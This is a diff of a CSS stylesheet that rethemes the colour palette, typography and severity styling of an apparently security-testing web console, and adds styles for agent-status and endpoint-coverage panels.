</div>
|
||||
|
||||
+416
-76
@@ -34,38 +34,40 @@
|
||||
--z-modal: 60;
|
||||
--z-toast: 80;
|
||||
|
||||
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", Inter, Roboto, sans-serif;
|
||||
--mono: "SF Mono", "Cascadia Code", "JetBrains Mono", Consolas, monospace;
|
||||
--sans: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI Variable Text", "Segoe UI", Inter, Roboto, sans-serif;
|
||||
--mono: "SF Mono", Menlo, "Cascadia Code", "JetBrains Mono", Consolas, monospace;
|
||||
|
||||
/* light (default, explicit) */
|
||||
--bg: #f5f4f1;
|
||||
/* light (default, explicit) — cool slate neutrals, one ultraviolet accent.
|
||||
Severity keeps its own hues (red/orange/yellow/green/blue-grey); the accent
|
||||
is the only hue that is not a severity, so "selected" never reads as "high". */
|
||||
--bg: #eceff4;
|
||||
--surface: #ffffff;
|
||||
--surface-2: #faf9f6;
|
||||
--surface-3: #efeeea;
|
||||
--border: #e1dfd8;
|
||||
--border-strong: #cfccc3;
|
||||
--text: #17161a;
|
||||
--text-dim: #6b6862;
|
||||
--text-faint: #9c988f;
|
||||
--accent: #b5590a;
|
||||
--accent-hover: #9a4b07;
|
||||
--accent-contrast: #fff8f0;
|
||||
--accent-soft: #fbe9d8;
|
||||
--focus-ring: #b5590a;
|
||||
--surface-2: #f6f8fb;
|
||||
--surface-3: #e8ecf2;
|
||||
--border: #d8dee8;
|
||||
--border-strong: #c1c9d6;
|
||||
--text: #121620;
|
||||
--text-dim: #4f5a6e;
|
||||
--text-faint: #68738a;
|
||||
--accent: #4b3fd1;
|
||||
--accent-hover: #3b30b3;
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: #e9e7fb;
|
||||
--focus-ring: #4b3fd1;
|
||||
|
||||
--sev-critical-bg: #fbe0dc; --sev-critical-fg: #8a271a;
|
||||
--sev-high-bg: #fbe6cf; --sev-high-fg: #8a4a0a;
|
||||
--sev-medium-bg: #f8edc9; --sev-medium-fg: #715600;
|
||||
--sev-low-bg: #dcecdd; --sev-low-fg: #235c34;
|
||||
--sev-info-bg: #e2e6f0; --sev-info-fg: #333e5c;
|
||||
--sev-critical-bg: #fde2e2; --sev-critical-fg: #a31515; --sev-critical-bar: #d92d2d;
|
||||
--sev-high-bg: #ffe8d1; --sev-high-fg: #9c4700; --sev-high-bar: #ea7a0c;
|
||||
--sev-medium-bg: #fff1bf; --sev-medium-fg: #765600; --sev-medium-bar: #e0aa00;
|
||||
--sev-low-bg: #d9f2e1; --sev-low-fg: #14683a; --sev-low-bar: #2a9d5c;
|
||||
--sev-info-bg: #e1e8fb; --sev-info-fg: #2a3f8f; --sev-info-bar: #5b7bd6;
|
||||
|
||||
--shadow-float: 0 12px 32px rgba(20, 16, 8, 0.16), 0 2px 6px rgba(20, 16, 8, 0.08);
|
||||
--shadow-float: 0 12px 32px rgba(15, 20, 35, 0.16), 0 2px 6px rgba(15, 20, 35, 0.08);
|
||||
--shadow-sm: 0 1px 2px rgba(0, 0, 0, .25);
|
||||
|
||||
/* The terminal keeps a dark ground in both themes — it renders the CLI's own
|
||||
ANSI palette, which is authored for a dark background and washes out on a
|
||||
light one. Only the chrome around it follows the theme. */
|
||||
--term-bg: #131215;
|
||||
--term-bg: #0f1218;
|
||||
--term-fg: #ddd9d2;
|
||||
/* Terminal chrome stays dark in both themes, so these are fixed (defined
|
||||
once, no dark override) — the console's own ANSI palette expects it. */
|
||||
@@ -81,29 +83,29 @@
|
||||
}
|
||||
|
||||
:root[data-theme="dark"] {
|
||||
--bg: #121113;
|
||||
--surface: #191819;
|
||||
--surface-2: #1f1e20;
|
||||
--surface-3: #262427;
|
||||
--border: #2d2b2e;
|
||||
--border-strong: #3c3a3d;
|
||||
--text: #ece9e4;
|
||||
--text-dim: #a19d95;
|
||||
--text-faint: #6f6b64;
|
||||
--accent: #e08a3e;
|
||||
--accent-hover: #ec9c57;
|
||||
--accent-contrast: #1a1208;
|
||||
--accent-soft: #3a2a16;
|
||||
--focus-ring: #e08a3e;
|
||||
--bg: #0d1015;
|
||||
--surface: #141821;
|
||||
--surface-2: #1a1f2a;
|
||||
--surface-3: #212735;
|
||||
--border: #262d3b;
|
||||
--border-strong: #353e50;
|
||||
--text: #e7eaf1;
|
||||
--text-dim: #a0a9ba;
|
||||
--text-faint: #7a8497;
|
||||
--accent: #9b8cff;
|
||||
--accent-hover: #b0a4ff;
|
||||
--accent-contrast: #0e0b26;
|
||||
--accent-soft: #25214d;
|
||||
--focus-ring: #9b8cff;
|
||||
|
||||
--sev-critical-bg: #3a1c17; --sev-critical-fg: #f0968a;
|
||||
--sev-high-bg: #3a2914; --sev-high-fg: #eeae6a;
|
||||
--sev-medium-bg: #362c10; --sev-medium-fg: #e2c568;
|
||||
--sev-low-bg: #17301f; --sev-low-fg: #78c896;
|
||||
--sev-info-bg: #232840; --sev-info-fg: #9aa6d8;
|
||||
--sev-critical-bg: #3a1519; --sev-critical-fg: #ff8f8f; --sev-critical-bar: #ef5350;
|
||||
--sev-high-bg: #3a2410; --sev-high-fg: #ffb067; --sev-high-bar: #f08c2a;
|
||||
--sev-medium-bg: #36300c; --sev-medium-fg: #f0cf5c; --sev-medium-bar: #e8bd30;
|
||||
--sev-low-bg: #12301f; --sev-low-fg: #6fd197; --sev-low-bar: #3fbf7a;
|
||||
--sev-info-bg: #1d2745; --sev-info-fg: #93a9f0; --sev-info-bar: #7b95ef;
|
||||
|
||||
--shadow-float: 0 16px 40px rgba(0, 0, 0, 0.5), 0 2px 6px rgba(0, 0, 0, 0.3);
|
||||
--term-bg: #0f0e10;
|
||||
--term-bg: #0a0d12;
|
||||
--term-fg: #ddd9d2;
|
||||
}
|
||||
|
||||
@@ -150,16 +152,17 @@ a { color: var(--accent); text-decoration: none; }
|
||||
.icon-btn:hover { background: var(--surface-3); border-color: var(--border); color: var(--text); }
|
||||
|
||||
.sb-new {
|
||||
margin: 0 var(--sp-4) var(--sp-4); padding: var(--sp-3) var(--sp-3);
|
||||
margin: 0 var(--sp-4) var(--sp-3); padding: var(--sp-3) var(--sp-3);
|
||||
border: 1px solid var(--border-strong); border-radius: var(--radius-sm);
|
||||
background: var(--surface); color: var(--text); font-size: var(--fs-sm); font-weight: 600; text-align: left;
|
||||
}
|
||||
.sb-new:hover { border-color: var(--accent); color: var(--accent); }
|
||||
|
||||
|
||||
.sb-groups { flex: 1; overflow-y: auto; padding: 0 var(--sp-2) var(--sp-4); }
|
||||
.sb-group-head {
|
||||
display: flex; align-items: center; gap: var(--sp-2); padding: var(--sp-2) var(--sp-2);
|
||||
font-size: var(--fs-xs); font-weight: 600; letter-spacing: .05em; text-transform: uppercase; color: var(--text-faint);
|
||||
font-size: var(--fs-xs); font-weight: 600; text-transform: none; color: var(--text-faint);
|
||||
cursor: pointer; user-select: none;
|
||||
}
|
||||
.sb-group-head .count { margin-left: auto; font-weight: 400; }
|
||||
@@ -182,11 +185,11 @@ a { color: var(--accent); text-decoration: none; }
|
||||
.sb-run .sub { display: block; font-size: var(--fs-xs); color: var(--text-faint); font-family: var(--mono); margin-top: 2px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
.sb-run .sub-facts { display: flex; justify-content: space-between; gap: var(--sp-2); }
|
||||
.run-dot { width: 6px; height: 6px; border-radius: 50%; flex: none; }
|
||||
.sev-dot-critical { background: var(--sev-critical-fg); }
|
||||
.sev-dot-high { background: var(--sev-high-fg); }
|
||||
.sev-dot-medium { background: var(--sev-medium-fg); }
|
||||
.sev-dot-low { background: var(--sev-low-fg); }
|
||||
.sev-dot-info { background: var(--sev-info-fg); }
|
||||
.sev-dot-critical { background: var(--sev-critical-bar); }
|
||||
.sev-dot-high { background: var(--sev-high-bar); }
|
||||
.sev-dot-medium { background: var(--sev-medium-bar); }
|
||||
.sev-dot-low { background: var(--sev-low-bar); }
|
||||
.sev-dot-info { background: var(--sev-info-bar); }
|
||||
|
||||
.sb-steps { padding: var(--sp-1) var(--sp-2) var(--sp-2) var(--sp-5); display: flex; flex-direction: column; gap: 2px; }
|
||||
.sb-step { font-size: var(--fs-xs); color: var(--text-faint); display: flex; align-items: center; gap: var(--sp-2); }
|
||||
@@ -216,7 +219,8 @@ a { color: var(--accent); text-decoration: none; }
|
||||
}
|
||||
.sb-nav-item:hover { background: var(--surface-3); color: var(--text); }
|
||||
.sb-nav-item.active { background: var(--accent-soft); color: var(--accent); font-weight: 600; }
|
||||
.sb-nav-icon { width: 18px; text-align: center; font-size: var(--fs-base); flex: none; }
|
||||
.sb-nav-icon { width: 18px; text-align: center; font-size: var(--fs-sm); flex: none; opacity: .7; line-height: 1; }
|
||||
.sb-nav-item.active .sb-nav-icon { opacity: 1; }
|
||||
.sb-nav-separator { height: 1px; background: var(--border); margin: var(--sp-2) var(--sp-3); }
|
||||
|
||||
.sb-run-history { display: flex; flex-direction: column; flex: 1; overflow: hidden; }
|
||||
@@ -231,7 +235,7 @@ a { color: var(--accent); text-decoration: none; }
|
||||
}
|
||||
|
||||
.data-table { width: 100%; border-collapse: collapse; font-size: var(--fs-sm); }
|
||||
.data-table th { text-align: left; padding: var(--sp-2) var(--sp-3); font-weight: 600; color: var(--text-dim); border-bottom: 2px solid var(--border); font-size: var(--fs-xs); text-transform: uppercase; letter-spacing: .04em; }
|
||||
.data-table th { text-align: left; padding: var(--sp-2) var(--sp-3); font-weight: 600; color: var(--text-dim); border-bottom: 2px solid var(--border); font-size: var(--fs-xs); text-transform: none; }
|
||||
.data-table td { padding: var(--sp-2) var(--sp-3); border-bottom: 1px solid var(--border); vertical-align: top; }
|
||||
.data-table tr:hover td { background: var(--surface-2); }
|
||||
.data-table .mono { font-family: var(--mono); font-size: var(--fs-xs); }
|
||||
@@ -266,7 +270,7 @@ a { color: var(--accent); text-decoration: none; }
|
||||
border: 1px solid var(--border); border-radius: var(--radius-md); padding: var(--sp-4);
|
||||
background: var(--surface);
|
||||
}
|
||||
.stat-label { font-size: var(--fs-xs); color: var(--text-dim); text-transform: uppercase; letter-spacing: .04em; font-weight: 600; }
|
||||
.stat-label { font-size: var(--fs-xs); color: var(--text-dim); text-transform: none; font-weight: 600; }
|
||||
.stat-value { font-size: var(--fs-2xl); font-weight: 700; margin-top: var(--sp-1); }
|
||||
.stat-sub { font-size: var(--fs-xs); color: var(--text-faint); margin-top: var(--sp-1); }
|
||||
|
||||
@@ -309,7 +313,7 @@ a { color: var(--accent); text-decoration: none; }
|
||||
|
||||
.stat-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); gap: var(--sp-3); margin-bottom: var(--sp-4); }
|
||||
.stat-tile { border: 1px solid var(--border); border-radius: var(--radius-md); padding: var(--sp-4); background: var(--surface); }
|
||||
.stat-k { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 600; }
|
||||
.stat-k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; }
|
||||
.stat-v { font-size: var(--fs-display); font-weight: 650; line-height: 1.15; margin-top: 2px; font-variant-numeric: tabular-nums; }
|
||||
.stat-unit { font-size: var(--fs-lg); color: var(--text-faint); font-weight: 500; }
|
||||
.stat-sub { font-size: var(--fs-xs); color: var(--text-dim); margin-top: 2px; }
|
||||
@@ -323,6 +327,13 @@ a { color: var(--accent); text-decoration: none; }
|
||||
.stat-score.sev-medium .stat-v { color: var(--sev-medium-fg); }
|
||||
.stat-score.sev-low { border-color: var(--sev-low-fg); }
|
||||
.stat-score.sev-low .stat-v { color: var(--sev-low-fg); }
|
||||
.score-ring-wrap { position: relative; width: 80px; height: 80px; margin: var(--sp-2) 0; }
|
||||
.score-ring { width: 80px; height: 80px; color: inherit; }
|
||||
.score-ring-value { position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; font-size: var(--fs-xl); font-weight: 700; font-variant-numeric: tabular-nums; }
|
||||
.stat-score .score-ring { color: var(--sev-low-fg); }
|
||||
.stat-score.sev-medium .score-ring { color: var(--sev-medium-fg); }
|
||||
.stat-score.sev-high .score-ring { color: var(--sev-high-fg); }
|
||||
.stat-score.sev-critical .score-ring { color: var(--sev-critical-fg); }
|
||||
|
||||
.dash-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: var(--sp-3); }
|
||||
.dash-card { border: 1px solid var(--border); border-radius: var(--radius-md); padding: var(--sp-4); background: var(--surface); }
|
||||
@@ -330,7 +341,7 @@ a { color: var(--accent); text-decoration: none; }
|
||||
.dash-card-head { display: flex; align-items: center; justify-content: space-between; gap: var(--sp-2); margin-bottom: var(--sp-3); }
|
||||
.dash-card-head h3 { margin: 0; }
|
||||
.dash-wide { grid-column: 1 / -1; }
|
||||
.dash-sub { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 600; margin: var(--sp-4) 0 var(--sp-2); }
|
||||
.dash-sub { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; margin: var(--sp-4) 0 var(--sp-2); }
|
||||
.dash-foot { margin-top: var(--sp-4); font-size: var(--fs-xs); color: var(--text-faint); }
|
||||
.dash-table td.mono { font-family: var(--mono); font-size: var(--fs-xs); }
|
||||
.dash-table { min-width: 480px; }
|
||||
@@ -340,18 +351,18 @@ a { color: var(--accent); text-decoration: none; }
|
||||
.bar-label { color: var(--text-dim); text-transform: capitalize; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
.bar-track { height: 10px; background: var(--surface-3); border-radius: var(--radius-xs); overflow: hidden; }
|
||||
.bar-fill { display: block; height: 100%; border-radius: var(--radius-xs); background: var(--text-faint); }
|
||||
.bar-critical { background: var(--sev-critical-fg); }
|
||||
.bar-high { background: var(--sev-high-fg); }
|
||||
.bar-medium { background: var(--sev-medium-fg); }
|
||||
.bar-low { background: var(--sev-low-fg); }
|
||||
.bar-info { background: var(--sev-info-fg); }
|
||||
.bar-critical { background: var(--sev-critical-bar); }
|
||||
.bar-high { background: var(--sev-high-bar); }
|
||||
.bar-medium { background: var(--sev-medium-bar); }
|
||||
.bar-low { background: var(--sev-low-bar); }
|
||||
.bar-info { background: var(--sev-info-bar); }
|
||||
.bar-neutral { background: var(--accent); }
|
||||
.bar-value { font-family: var(--mono); font-size: var(--fs-xs); text-align: right; color: var(--text); }
|
||||
|
||||
.fair-hero { border: 1px solid var(--border); border-radius: var(--radius-sm); padding: var(--sp-4); background: var(--surface-2); }
|
||||
.fair-range { display: flex; gap: var(--sp-5); flex-wrap: wrap; align-items: baseline; }
|
||||
.fair-point { display: flex; flex-direction: column; }
|
||||
.fair-point .k { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); }
|
||||
.fair-point .k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); }
|
||||
.fair-point .v { font-size: var(--fs-xl); font-weight: 600; font-variant-numeric: tabular-nums; }
|
||||
.fair-likely .v { font-size: var(--fs-display); color: var(--accent); }
|
||||
.fair-note { font-size: var(--fs-xs); color: var(--text-dim); margin-top: var(--sp-3); }
|
||||
@@ -430,7 +441,7 @@ a.btn:disabled, a.btn[aria-disabled="true"] { pointer-events: none; }
|
||||
|
||||
.field-group { display: flex; flex-direction: column; gap: var(--sp-2); }
|
||||
.field-group + .field-group { margin-top: var(--sp-5); }
|
||||
.field-label { font-size: var(--fs-xs); font-weight: 600; letter-spacing: .03em; text-transform: uppercase; color: var(--text-faint); }
|
||||
.field-label { font-size: var(--fs-xs); font-weight: 600; text-transform: none; color: var(--text-faint); }
|
||||
.field-help { font-size: var(--fs-xs); color: var(--text-faint); }
|
||||
.field-error { font-size: var(--fs-xs); color: var(--sev-critical-fg); font-weight: 500; }
|
||||
.field-error::before { content: "⚠ "; }
|
||||
@@ -547,7 +558,7 @@ textarea { resize: vertical; min-height: 72px; }
|
||||
|
||||
.review-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: var(--sp-4); }
|
||||
.review-item { border: 1px solid var(--border); border-radius: var(--radius-sm); padding: var(--sp-3); }
|
||||
.review-item .k { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .04em; color: var(--text-faint); }
|
||||
.review-item .k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); }
|
||||
.review-item .v { font-size: var(--fs-base); margin-top: 3px; font-weight: 500; }
|
||||
.review-item .v.mono { font-family: var(--mono); font-size: var(--fs-sm); }
|
||||
|
||||
@@ -604,14 +615,14 @@ textarea { resize: vertical; min-height: 72px; }
|
||||
.sev-summary { display: flex; gap: var(--sp-2); flex-wrap: wrap; align-items: center; }
|
||||
.sev-pill {
|
||||
border: 1px solid transparent; border-radius: var(--radius-sm); padding: 3px 9px;
|
||||
font-size: var(--fs-2xs); font-weight: 700; text-transform: uppercase; letter-spacing: .02em;
|
||||
font-size: var(--fs-2xs); font-weight: 700; letter-spacing: .02em; text-transform: uppercase;
|
||||
}
|
||||
.sev-pill b { font-family: var(--mono); font-weight: 700; }
|
||||
.sev-pill.picked { outline: 2px solid var(--focus-ring); outline-offset: 1px; }
|
||||
.data-table { width: 100%; border-collapse: collapse; font-size: var(--fs-sm); min-width: 720px; }
|
||||
/* Sticky header: a 27-row findings table scrolls past its own column labels,
|
||||
and severity/confidence are unreadable without them. */
|
||||
.data-table th { position: sticky; top: 0; z-index: 1; background: var(--bg); text-align: left; font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .04em; color: var(--text-faint); font-weight: 600; padding: var(--sp-2) var(--sp-3); border-bottom: 1px solid var(--border-strong); white-space: nowrap; cursor: pointer; user-select: none; }
|
||||
.data-table th { position: sticky; top: 0; z-index: 1; background: var(--bg); text-align: left; font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; padding: var(--sp-2) var(--sp-3); border-bottom: 1px solid var(--border-strong); white-space: nowrap; cursor: pointer; user-select: none; }
|
||||
.data-table th:hover { color: var(--text); }
|
||||
.data-table th.sorted { color: var(--accent); }
|
||||
.data-table th.sorted[data-dir="asc"]::after { content: " ↓"; }
|
||||
@@ -683,7 +694,7 @@ textarea { resize: vertical; min-height: 72px; }
|
||||
.provider-row .dot { width: 7px; height: 7px; border-radius: 50%; background: var(--border-strong); flex: none; }
|
||||
.provider-row .dot.set { background: var(--sev-low-fg); }
|
||||
.provider-row .p-name { flex: none; width: 160px; font-size: var(--fs-sm); font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||
.provider-row .p-kind { flex: none; width: 64px; font-size: var(--fs-2xs); text-transform: uppercase; color: var(--text-faint); font-family: var(--mono); }
|
||||
.provider-row .p-kind { flex: none; width: 64px; font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-family: var(--mono); }
|
||||
.provider-row input { flex: 1; min-width: 0; }
|
||||
.provider-row .btn { flex: none; }
|
||||
.key-verify { flex: none; font-size: var(--fs-2xs); font-weight: 700; min-width: 60px; }
|
||||
@@ -904,6 +915,60 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
@keyframes aspin { to { transform: rotate(360deg); } }
|
||||
@media (prefers-reduced-motion: reduce) { .agent-chip .spin { animation: none; } }
|
||||
|
||||
/* tab dot — animated indicator for tabs with live data */
|
||||
.tab-dot { width: 6px; height: 6px; border-radius: 50%; display: inline-block; margin-right: 4px; vertical-align: middle; background: transparent; }
|
||||
.tab-dot.live { background: var(--accent); animation: pulse 1.4s infinite; }
|
||||
.tab-badge { font-family: var(--mono); font-size: var(--fs-2xs); background: var(--surface-3); border-radius: var(--radius-pill); padding: 0 6px; margin-left: 4px; }
|
||||
.run-tab.active .tab-badge { background: var(--accent-soft); color: var(--accent); }
|
||||
|
||||
/* Agents tab panel */
|
||||
.agents-tab-head { display: flex; align-items: center; gap: var(--sp-3); flex-wrap: wrap; margin-bottom: var(--sp-4); }
|
||||
.agents-tab-stats { display: flex; gap: var(--sp-4); flex-wrap: wrap; }
|
||||
.agents-tab-stats .at-stat { display: flex; flex-direction: column; }
|
||||
.agents-tab-stats .at-stat-k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; }
|
||||
.agents-tab-stats .at-stat-v { font-size: var(--fs-xl); font-weight: 700; font-variant-numeric: tabular-nums; }
|
||||
.agents-tab-grid { display: flex; flex-direction: column; gap: 6px; }
|
||||
.at-card { display: flex; align-items: center; gap: var(--sp-3); padding: var(--sp-3) var(--sp-4); border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface); transition: border-color var(--t-fast); }
|
||||
.at-card:hover { border-color: var(--border-strong); }
|
||||
.at-card-status { width: 8px; height: 8px; border-radius: 50%; flex: none; }
|
||||
.at-card-status.running { background: var(--accent); animation: pulse 1.4s infinite; }
|
||||
.at-card-status.done { background: var(--text-faint); }
|
||||
.at-card-status.found { background: var(--sev-high-fg); }
|
||||
.at-card-status.failed { background: var(--sev-critical-fg); }
|
||||
.at-card-status.pending { background: var(--border-strong); }
|
||||
.at-card-name { flex: 1; font-size: var(--fs-sm); font-weight: 500; font-family: var(--mono); min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.at-card-name.running { color: var(--accent); }
|
||||
.at-card-name.failed { color: var(--sev-critical-fg); text-decoration: line-through; }
|
||||
.at-card-state { font-size: var(--fs-xs); text-transform: none; font-weight: 600; color: var(--text-faint); width: 64px; flex: none; }
|
||||
.at-card-state.running { color: var(--accent); }
|
||||
.at-card-findings { font-size: var(--fs-sm); font-family: var(--mono); font-weight: 600; color: var(--sev-high-fg); min-width: 24px; text-align: right; }
|
||||
|
||||
/* Coverage tab panel */
|
||||
.coverage-head { display: flex; align-items: center; gap: var(--sp-3); flex-wrap: wrap; margin-bottom: var(--sp-4); }
|
||||
.coverage-stats { display: flex; gap: var(--sp-4); flex-wrap: wrap; }
|
||||
.coverage-stats .at-stat { display: flex; flex-direction: column; }
|
||||
.coverage-stats .at-stat-k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; }
|
||||
.coverage-stats .at-stat-v { font-size: var(--fs-xl); font-weight: 700; font-variant-numeric: tabular-nums; }
|
||||
.coverage-list { display: flex; flex-direction: column; gap: 2px; }
|
||||
.cv-row { display: flex; align-items: center; gap: var(--sp-3); padding: var(--sp-2) var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-xs); background: var(--surface); font-size: var(--fs-sm); }
|
||||
.cv-row:hover { border-color: var(--border-strong); }
|
||||
.cv-method { font-family: var(--mono); font-size: var(--fs-2xs); font-weight: 700; width: 50px; flex: none; text-align: center; }
|
||||
.cv-method.m-get { color: var(--sev-low-fg); }
|
||||
.cv-method.m-post { color: var(--accent); }
|
||||
.cv-method.m-put, .cv-method.m-patch { color: var(--sev-medium-fg); }
|
||||
.cv-method.m-delete { color: var(--sev-critical-fg); }
|
||||
.cv-path { flex: 1; font-family: var(--mono); font-size: var(--fs-xs); color: var(--text-dim); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
|
||||
.cv-status-badge { font-size: var(--fs-2xs); font-weight: 600; padding: 1px 7px; border-radius: var(--radius-pill); white-space: nowrap; }
|
||||
.cv-status-badge.tested { background: var(--sev-low-bg); color: var(--sev-low-fg); }
|
||||
.cv-status-badge.untested { background: var(--surface-3); color: var(--text-faint); }
|
||||
.cv-status-badge.found { background: var(--sev-high-bg); color: var(--sev-high-fg); }
|
||||
.cv-agent { font-size: var(--fs-2xs); color: var(--text-faint); width: 100px; flex: none; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; text-align: right; }
|
||||
.cv-status-code { font-family: var(--mono); font-size: var(--fs-2xs); font-weight: 700; width: 32px; flex: none; text-align: center; }
|
||||
.cv-status-code.s-2 { color: var(--sev-low-fg); }
|
||||
.cv-status-code.s-3 { color: var(--sev-info-fg); }
|
||||
.cv-status-code.s-4 { color: var(--sev-medium-fg); }
|
||||
.cv-status-code.s-5 { color: var(--sev-critical-fg); }
|
||||
|
||||
/* ---------------------------------------------------------------------------
|
||||
Run detail — attack graph, dependencies, traffic, traces, deliverables.
|
||||
Ideas from autonomous-pentest consoles (KPI cards, typed node graph, traffic
|
||||
@@ -919,7 +984,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
/* KPI cards above the findings table */
|
||||
.kpi-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(170px, 1fr)); gap: var(--sp-3); margin: var(--sp-3) 0; }
|
||||
.kpi { border: 1px solid var(--border); background: var(--surface); border-radius: var(--radius-md); padding: var(--sp-3) var(--sp-4); }
|
||||
.kpi-k { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 600; }
|
||||
.kpi-k { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 600; }
|
||||
.kpi-v { font-size: var(--fs-2xl); font-weight: 700; font-family: var(--mono); margin: 2px 0; }
|
||||
.kpi-sub { font-size: var(--fs-xs); color: var(--text-dim); }
|
||||
.kpi-ok .kpi-v { color: var(--sev-low-fg); }
|
||||
@@ -939,7 +1004,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
|
||||
/* chains */
|
||||
.moves { border: 1px solid var(--border); border-left: 3px solid var(--accent); background: var(--surface); border-radius: var(--radius-sm); padding: var(--sp-3) var(--sp-4); margin-bottom: var(--sp-3); }
|
||||
.moves-h { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--accent); font-weight: 700; margin-bottom: 4px; }
|
||||
.moves-h { font-size: var(--fs-xs); text-transform: none; color: var(--accent); font-weight: 700; margin-bottom: 4px; }
|
||||
.moves ul { margin: 0; padding-left: 18px; font-size: var(--fs-sm); color: var(--text-dim); }
|
||||
.chain-list { display: flex; flex-direction: column; gap: var(--sp-2); }
|
||||
.chain-card { border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); }
|
||||
@@ -959,7 +1024,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
.chain-steps .step.st-needs_validation { color: var(--sev-medium-fg); background: none; }
|
||||
.chain-steps .step.st-hypothesis { color: var(--text-faint); background: none; }
|
||||
.chain-block { margin-top: var(--sp-2); }
|
||||
.chain-block-h { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 700; }
|
||||
.chain-block-h { font-size: var(--fs-xs); text-transform: none; color: var(--text-faint); font-weight: 700; }
|
||||
.chain-block ul { margin: 4px 0 0; padding-left: 18px; font-size: var(--fs-sm); }
|
||||
.chain-block li { margin: 3px 0; line-height: 1.5; }
|
||||
/* readable chain prose: node refs as chips, relations as labels, meta muted */
|
||||
@@ -1101,7 +1166,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
.wire-chip.bad { background: var(--sev-critical-bg); color: var(--sev-critical-fg); border-color: transparent; }
|
||||
.wire-chip.muted { color: var(--text-faint); }
|
||||
.wire-contra { margin: 0 0 var(--sp-2) 0; padding-left: var(--sp-5); font-size: var(--fs-xs); color: var(--sev-critical-fg); }
|
||||
.wire-sub { font-size: var(--fs-xs); font-weight: 700; color: var(--text-dim); margin: var(--sp-3) 0 4px; text-transform: uppercase; letter-spacing: .04em; }
|
||||
.wire-sub { font-size: var(--fs-xs); font-weight: 700; color: var(--text-dim); margin: var(--sp-3) 0 4px; text-transform: none; }
|
||||
.wire-exchanges { display: flex; flex-direction: column; gap: 4px; }
|
||||
.wire-ex { border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface); }
|
||||
.wire-ex > summary { cursor: pointer; display: flex; align-items: center; gap: var(--sp-2); padding: 6px var(--sp-3); font-size: var(--fs-xs); flex-wrap: wrap; }
|
||||
@@ -1113,7 +1178,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
.wire-prov.muted { color: var(--text-faint); border: 1px solid var(--border); }
|
||||
.wire-ex-body { padding: 0 var(--sp-3) var(--sp-3); }
|
||||
.wire-h { margin-top: var(--sp-2); }
|
||||
.wire-h b { font-size: var(--fs-2xs); color: var(--text-dim); text-transform: uppercase; letter-spacing: .04em; }
|
||||
.wire-h b { font-size: var(--fs-xs); color: var(--text-dim); text-transform: none; }
|
||||
.wire-flow { display: flex; align-items: center; gap: var(--sp-2); padding: 4px var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface); font-size: var(--fs-xs); }
|
||||
.retest-hist { margin: var(--sp-2) 0; }
|
||||
.retest-row { display: flex; align-items: center; gap: var(--sp-3); padding: 3px 0; font-size: var(--fs-xs); }
|
||||
@@ -1126,7 +1191,7 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
|
||||
.reg-recurring { background: var(--sev-info-bg); color: var(--sev-info-fg); }
|
||||
.reg-fixed { background: var(--sev-low-bg); color: var(--sev-low-fg); }
|
||||
.reg-banner { display: flex; align-items: center; flex-wrap: wrap; gap: var(--sp-3); padding: 6px var(--sp-3); margin-bottom: var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); font-size: var(--fs-sm); }
|
||||
.reg-banner .reg-h { font-weight: 700; text-transform: uppercase; letter-spacing: .04em; font-size: var(--fs-xs); color: var(--text-dim); }
|
||||
.reg-banner .reg-h { font-weight: 700; text-transform: none; font-size: var(--fs-xs); color: var(--text-dim); }
|
||||
.reg-chip { font-size: var(--fs-2xs); font-weight: 700; padding: 1px 8px; border-radius: var(--radius-xs); }
|
||||
.reg-fixed-list { font-size: var(--fs-sm); }
|
||||
.reg-fixed-list summary { cursor: pointer; color: var(--accent); }
|
||||
@@ -1157,11 +1222,11 @@ a.deliv-card:hover { border-color: var(--accent); }
|
